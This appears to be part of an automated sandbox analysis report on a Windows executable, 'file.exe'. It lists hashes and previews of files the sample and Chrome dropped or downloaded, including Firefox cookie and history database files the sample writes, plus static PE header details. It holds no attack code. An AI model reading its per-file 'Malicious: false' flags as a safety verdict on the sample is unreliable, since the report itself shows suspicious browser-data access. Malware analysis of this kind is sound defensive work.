SSDEEP:	48:862d/OTfK8RwHjidAKZdA1vehDiZUkwqehWy+R:86uOjFRJUy
MD5:	78CC1489240EDA748BDCCD1A53B2D304
SHA1:	5FE678083E4BA964B65A01BC998D4F275CD25F50
SHA-256:	69D574283CAA0279711E489A01BC704F07419A52D3FEEDA7320DB7C2F76F9AA8
SHA-512:	0A4BEF556DD7400F98B4C7F28EA3210C5E956E89D4D2C8FA437A7E9D020A77EF6F372BB170E174BE60DB85FA86F43E6C9BC2AB4FFB74C23DBDCB04E0F1DCA6D4
Malicious:	false
Preview:	L..................F.@.. ...$+.,....X..9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ya............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 18:35:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985260695859013
Encrypted:	false
SSDEEP:	48:8S2d/OTfK8RwHjidAKZdA1hehBiZUk1W1qehYy+C:8SuOjFR594y
MD5:	B5A2328369CE710E7AB234B01090C6CD
SHA1:	0701239A66AB57F8B646DC5D837B4832091B2DFB
SHA-256:	DD21993D61230C9201D462444BB709314953C2ADACC02582612BABB80AAF9F84
SHA-512:	5CEDD685711E04D5601822654C5BF9ADE1A658580095D25366A723A1738FD6040F36C087E3EC5F921C574AA134F0A603EF94989B75BEC06D536BC68EF9817A23
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....`..9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ya............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 18:35:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9946741245852513
Encrypted:	false
SSDEEP:	48:8k2d/OTfK8RwHjidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbey+yT+:8kuOjFRFT/TbxWOvTbey7T
MD5:	EC804F9EBC8099A2AD5E432E974D1547
SHA1:	0078883CAD5D6182BC2D94D2EC8055C63FB2CC53
SHA-256:	087CDA1860CECC6D100279D7F60C2EFA4D4920C3F91CA7605EBE1C60E52EFD83
SHA-512:	F8CBAEE9B32B7790705BD44A7CEA8238AC89BCACAE8E96EB7171BDECF375AA7AC6CE8339A0C5AD7ED96A7751C0DBAA024D6405C7E0E88DF7D51B0709800EDDE4
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ya............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2644)
Category:	downloaded
Size (bytes):	2649
Entropy (8bit):	5.835541693370138
Encrypted:	false
SSDEEP:	48:7agjMifh8KlgZ01OF+a74aa9ld66666O0hwCXCYQsBatp/eUskYIuSEqmffffQo:mgwolieDFd66666bhvXtBat4ffffQo
MD5:	3765EB4A9588DBE195AF912099D9E24E
SHA1:	2C6D46B13B4C9477A7907BD4D98D6C0B281ECCA3
SHA-256:	48085EF8D294B125B11CB494E92A45CA3A47E94C1DB95A1ED34D080E2E5D2616
SHA-512:	C6CF015E5BF53F09BD09AB21B30E9AB432F88D2E8CED73AEB7CCF3CF35E7CFA01A3C21552A1DD56378B85FA16AB5AAC9B89D89DE84398EB704EC063C7F9EF53B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["daylight savings time fall back","ps plus games","target thanksgiving meal deal","nyt connections hints october 29","world series yankees dodgers","xenoblade chronicles x switch","black beauty netflix","breeders cup 2024 races"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wdnp0OTFyEidYZW5vYmxhZGUgQ2hyb25pY2xlcyBYIOKAlCBDb25zb2xlIGdhbWUyqwlkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUJvQVFBTUJJZ0FDRVFFREVRSC94QUFiQUFBQkJRRUJBQUFBQUFBQUFBQUFBQUFEQUFRRkJnY0JBdi9FQUNzUUFBSUJBZ1VEQXdNRkFBQUFBQUFBQUFFQ0F3U

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133746
Entropy (8bit):	5.436526597801191
Encrypted:	false
SSDEEP:	3072:2P1vjxd0QniyZ+qQf4VBNQ0pqhvx7U+OUaKszQ:E1vv0yTVBNQ0pivxI+ORQ
MD5:	EE648E2AD265CACB9060298DB4F67F35
SHA1:	D03A5F9ACA08E2385F17B6D8B908E818C96E2626
SHA-256:	E5818393078869B9E5227C270008F50E6E59D1AB343CB210AC2395E1B626B615
SHA-512:	2997F211CF14A5C0A4BA7416E63CB064008D9F6978FBE4104FEA0BB1C49E86417B077443FF22A344893C347C2F3E2BA1CCAF5C68BE86A03C8AA9EFF9A4ACE256
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.957299458353427
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'118'144 bytes
MD5:	76592155ebf188967a4beac78a55a862
SHA1:	fda830845ecd9f9d4a6e5941deb54cf8807b5b03
SHA256:	f21c72360b2e7dca007a6cc5cfbf8be462191cdc8e71ce146f93faf557084e24
SHA512:	ba8c9ef479d34d1aca04a8c537f311c01028c6b56f63af7b3b3c30fa9eeacd912360570fcd22e76edf7ee7681372bbdf78ede4fe7143c6cb849693a32ab5a2dd
SSDEEP:	49152:3n8gy8dqD52w5t+aXKA5F5Q/te9iM634S1pAimTI+R0FX:3n8gyGqDsaaeQVtnIPimJG
TLSH:	23A533D8F26EDEAFCA4DA472987A40460EBCB7D8505232779377B9912210B12CFF11D6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb1f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FBCF5285CBAh
wrmsr
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FBCF5287CB5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
